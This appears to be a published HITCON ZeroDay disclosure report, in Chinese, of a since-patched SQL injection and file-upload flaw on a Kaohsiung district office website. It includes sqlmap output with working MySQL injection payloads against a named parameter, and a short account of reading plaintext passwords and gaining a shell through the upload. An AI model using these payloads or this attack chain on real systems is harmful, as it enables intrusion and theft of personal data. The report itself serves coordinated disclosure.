Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2017-00411
- Vendor: {高雄}市{岡山}區公所
- Title: 高雄市岡山區公所 資料庫注入漏洞
- Introduction: 資料庫注入+上傳
處理狀態
目前狀態
公開
Last Update : 2017/08/03
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2017/05/22 16:21:27 : 新提交 (由 更新此狀態)
- 2017/05/22 16:24:17 : 新提交 (由 更新此狀態)
- 2017/05/22 16:25:51 : 新提交 (由 更新此狀態)
- 2017/05/22 23:11:47 : 審核完成 (由 HITCON ZeroDay 平台自動更新)
- 2017/05/28 02:28:30 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/05/28 02:28:31 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/05/28 02:28:32 : 修補中 (由 HITCON ZeroDay 平台自動更新)
- 2017/07/19 14:57:28 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/08/02 10:28:25 : 確認已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/08/03 03:00:20 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.gsto.gov.tw/main.php?mode=photo&photo_id=1444
敘述
情境描述:最近參加了網路攻擊手戰績慘烈,但仍然抱持著維護國家數位國土安全的心態,看看是否能找出一些漏洞順便賺點零用錢。而此站階級太低沒有禮卷,擔心會被其他國家壞人攻擊,於是點到為止趕緊回報。
1.http://www.gsto.gov.tw/main.php?mode=photo&photo_id=1444'
手滑單引號報錯,參數photo_id=似乎為注入點
2.直上神器
s****p resumed the following injection point(s) from stored session:
Parameter: photo_id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: mode=photo&photo_id=1444 RLIKE (SELECT (CASE WHEN (1310=1310) THEN 1444 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: mode=photo&photo_id=1444 AND ROW(8649,8372)>(SELECT COUNT(*),CONCAT(0x71626a6b71,(SELECT (ELT(8649=8649,1))),0x716a627a71,FLOOR(RAND(0)*2))x FROM (SELECT 3272 UNION SELECT 4128 UNION SELECT 8876 UNION SELECT 2574)a GROUP BY x)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: mode=photo&photo_id=1444 AND SLEEP(5)
[16:02:07] [INFO] the back-end DBMS is MySQL
誒..密碼沒加密QQ
3.後台逛逛上傳點,發現未經限制上傳任意檔案
4.Get Shell後回報(已刪)
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。